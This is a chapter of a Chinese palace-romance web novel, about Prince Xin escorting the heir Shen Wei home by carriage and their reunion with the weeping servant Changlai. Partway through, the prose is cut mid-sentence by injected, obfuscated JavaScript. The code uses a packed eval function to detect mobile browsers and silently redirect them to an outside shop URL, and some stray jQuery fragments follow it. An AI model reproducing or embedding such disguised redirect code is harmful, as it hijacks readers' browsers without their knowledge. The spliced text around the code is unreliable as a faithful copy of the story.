萧琰进宫时乘的是一顶亲王制式的豪华马车,为避人耳目,早已按原路回了京外的宝安寺。他相貌显眼,不便叫人瞧见行踪,便临时租了一辆灰扑扑的廉价马车,正停在垂柳巷外的三条街处。
两人离开垂柳巷时,已近黄昏。信王的守卫悄无声息地将他们护送上那辆普通马车,一路避着主街,沿僻静小巷驶离了曲水街。
“陈留赈灾银两,为何在康王手里?”
沈惟靠在马车内壁,思索着该说多少:“陈留现任知府朱全,当年能升到这个位置,全靠投奔康王座下,实则是个酒囊饭袋。若不出大错,混个安然致仕倒也不难。可惜运气不好,陈留已大旱半年。”
萧琰点点头:“这陈留知府是要贿赂康王?”说完自己又摇摇头:“这也不对,得了赈灾银两,便该全力救灾,减少损失,述职时政绩还能好看一点。”
沈惟不置可否:“若是旱灾初期,倒还可如此办事。但这赈灾银两已是第三次补充,陈留灾情却并未好转,局面早已不可收拾。”
“第三次?”信王奇道:“那前两次的钱都花到了哪里?还是陈留旱灾当真严重至此?”
沈惟微微笑了一下,挑起车帘一角向外望去,晚霞的粉红光芒从缝隙间细细一条映在他的左眼上。他回眼看向萧琰:“我还以为信王殿下这些年始终勤勉用功,日理万机。如今看来,并非如此,竟对朝中事情毫不关注。”
他放下车帘,语气淡淡:“你曾说你有足够的价值,让我继续利用你。那如今这便是检验。陈留朱全行事如何,赈灾银两如何旁落,又是如何流落到南风馆里,你自己查去。”
沈世子的笑容里有种尽在掌握的从容:“让我看到结果,我才能知道是否继续把留你在身边。”
萧琰愣了愣,健硕的身躯便凑了上来。沈惟推拒不动,原本胜券在握的世子忘记自己此时寄人篱下,且体形相差悬殊,一个不查,就被人困在车厢内的狭小角落。
还好信王殿下略讲武德,并不过于趁人之危,只停在这个姿势,垂眼瞧着被自己手臂困于囹圄的俊美公子,轻声问他:
“奖励呢?”
沈惟一手防备地推在他手臂上,抬眼看他,心中升起一丝微妙的感觉——仿佛只要塞给他一只硕大的磨牙狗零食,就能让信王殿下乖乖听话。他轻咳一声:“若你事情办成,我可答应你一个要求。”
“哦?”车厢外的天光愈发暗淡,萧琰微收手臂向他逼近。沈惟吓了一跳便要躲闪,缩作一团紧紧闭上眼睛,却听他只是隔着距离,轻轻闻了闻自己的头发。
信王殿下重新坐回对面的长椅上,单手整理弄乱的衣袍下摆:“沈世子你可要想清楚。”
沈惟怎么可能没有想过,但却并不慌乱。只要姿势不落到下风,他便能重掌局势:“信王殿下也要先想清楚。如今圣旨犹在,我不日就要迎娶嘉宁公主。”
萧琰动作顿住,猛地抬眼看他:“你竟然还真的做着当驸马的春秋大梦?”
沈世子不慌不忙,神情无辜:“圣命难违,难不成这是我的错吗?”见萧琰咬牙切齿,眼中露出凶光,沈惟有恃无恐地笑了起来:
“我倒是有办法抗旨,但要看你表现。信王殿下征战沙场不过两年,如今总是喊打喊杀。好啊,要么你去杀了公主,或是你去杀了皇上?”
他好整以暇地观赏着萧琰的反应,心中还暗暗挑火——最好杀了皇帝直接登基,如此便万事大吉。
却见萧琰怒极反笑,一甩袍摆悠然向后一靠:“为何如此麻烦?你若真的敢娶公主,我便真的敢杀了你。”
沈惟怔住:“你想杀我?”
信王殿下双手抱在胸前:“世子方才掀起帘子瞧了风景,难道就没瞧出什么端倪?”
沈惟心中咯噔一下,连忙再次撩起车帘向外望去,随即回头怒目而视:“这不是去国公府的路,你要带我去哪?”
看他表情慌乱,像一只狐假虎威的粉白兔子终于从狐狸皮下露出了短小的尾巴,萧琰不由笑了起来:“本王何时说过要送你回府?”
沈惟甩开车帘,目光炯炯瞪着他,语气不自觉挂上一丝委屈:“你想干嘛?难道真的要把我关起来,还是真的要杀了我?”
萧琰叹一口气:“我只想你给我句实话。”
沈世子气鼓鼓,没好气地跟他呛声:“什么?!”
萧琰望着沈惟。将军王爷的笑脸温柔忧伤,毫不设防,和当年平陶的落魄王爷没有两样。他一时没有说话,歪头靠在车厢上,沉默许久,笑容渐渐淡去,眼睛一眨不眨地看着沈惟,仿佛要把这两年没有看够的全都补上。
车厢里骤然安静下来,沈惟被这气氛感染,心中也难过起来。
他垂下眼睛,此刻忽然很想顺从本心,投入他的怀中,然后跟他告状:全是系统这个大坏蛋从中作梗,欺负自己。
他对萧琰冷言冷语,他对萧琰硬着心肠,但心里却比谁都清楚,无非都是仗着萧琰爱惜自己、离不开自己。这与那些玩弄真心的渣男,又有什么分别?
萧琰眨眨眼睛,粗长的睫羽垂下,将积攒两年的情感一敛而去。
他狡黠地笑起来:“你说实话……你是不是把长来落在街头,全然忘了?”
“啊!长来!”沈惟惊呼一声,这才想起还瘸着条腿的碰瓷坏蛋。
他再次掀起车帘,发现马车已绕路驶回曲水街头。远远瞧见,长来把木拐杖扔在一旁,正坐在商铺拐角的石墩上抹着眼泪。
长来哭一会儿,用袖子擦擦眼泪,顺着沈惟离开的方向望一会儿,然后继续低头哭。这条街上夜市热闹,各类商贩已经陆续出摊,行人笑着来来往往,更衬得他无比可怜。
马车一停稳,沈惟便亲自跳下马车去接长来。这小厮原本只是悄然垂泪,此刻骤然见了沈惟,如见失散多年的亲人,立刻仰头嚎啕大哭起来,边哭边控诉:“唔——公子!奴才以为你不要我了,唔——你把我扔@¥%#……”
行人纷纷侧目,沈惟单手捂住长来大张的嘴巴,手动静音,还一边冲过往行人赔笑,示意此处没有发生欺男霸女的恶事。
长来被捂住嘴巴,鼻涕眼泪糊了主子一手,沈世子厉声一喝:“别哭了!没完了?!”
小厮一愣,泪珠顿了一瞬,沈惟立刻好言好语道歉:“对不住,我的错。别哭了别哭了啊,没有抛弃你。”
见他不哭了,沈惟立刻嫌弃地松开了手。此刻萧琰也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17670568|202819||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下了马车,笑着站在他身后。
见他们两人一起出现,长来彻底信了,止住眼泪,红着眼睛笑起来:
“殿下,公子,你们和好了!你们一起来接长来了!”
“是啊!我们刚刚遇到了坏人,坏人还带着刀剑四处搜查,我们不顾危险,还折回来找你,这才晚到了。”沈惟说得信誓旦旦,连萧琰都不由一愣。
但见长来希翼的目光飘向自己,信王殿下感觉沈惟拽了拽自己的袖袍,便煞有介事地严肃点头。低头一看,却见沈世子不过是在自己的四爪蟒袍上擦着手上鼻涕。
信王殿下:?
他眯起眼睛,歪头威胁地瞪着小世子。小世子做贼心虚,若无其事地收回了手,肚子忽然“咕嘟”一声,他才想起这一天都忙碌正事,还没吃饭,便说:“长来肚子饿坏了吧,快跟我回府吃晚饭去。”
说到这个,长来吸吸鼻子羞涩一笑:“倒没有很饿,这条街上好心人真多,许多人给我扔铜板碎银,我买了王记的烧饼,还有李记的素面。”
沈世子:?
待二人再次回到马车上,长来坐在车帘外的马车前侧。马蹄滴答,这一次的方向却是真真切切驶向国公府了。
两人都没开口说话,争锋相对了一路,却在最后的回程路上安静下来。
沈惟不由有些失望,他在心中想了许多种答案,又设想了各种结果,却没听到那个该出现的问题。
天色渐渐黑透,沿路都挂了灯笼。昏黄的光顺着晃荡的车帘漏进来,明明灭灭地划过萧琰的脸。信王殿下的眼睛在暗处亮得惊人,如天上的星辰一般,盛着两汪温柔沉默的光。
就这样一路无话。
车轮渐渐停了下来,沈惟侧身瞧了一眼,马车已停在国公府外两条街处。
如此体贴,知道他不愿被人看见。
可沈惟却迟迟没动,萧琰也不催他下车。
半响,信王殿下的手从黑暗中摸索过来,握住他的。沈惟意思地挣了几下,自然也没挣开,只显得更加欲拒还迎。
萧琰:“你说的事,我会去查的。”
沈惟:“……”
“也不必费心引导,你直言说明想让我做什么,我便会去做的。”
沈惟:“……”
“这两年里,我不知道自己为什么活着……若你真的死了,我为什么还不同你一起去了?”
他的声音低下去,在黑暗里格外清晰:“这条命早就许给了你,我在世上并无其他留恋。哪怕你说让我与康王鱼死网破,以命相搏,为礼王清空路障,我也会做。”
沈惟被这话烫得一个哆嗦,终于甩开手仓皇逃出车厢。信王殿下再没拦他,只望着他甩开帘子,头也不回地走远,最终消失在国公府门内。
车帘还在徒自晃动,因为无风,渐渐静止,将车厢里最后一丝漏进的烛光都拦在外面。一片无光黑漆里,信王的声音冰冷无情:
“回宝安寺。”
车窗外忽然响起了毫无章法的木棍敲击声,“无情”的信王殿下撩开车窗上的布帘望去,是长来乱七八糟地追了上去,像一只瘸了腿的鸟扑棱着翅膀,口中还哭喊着:
“公子啊!世子——”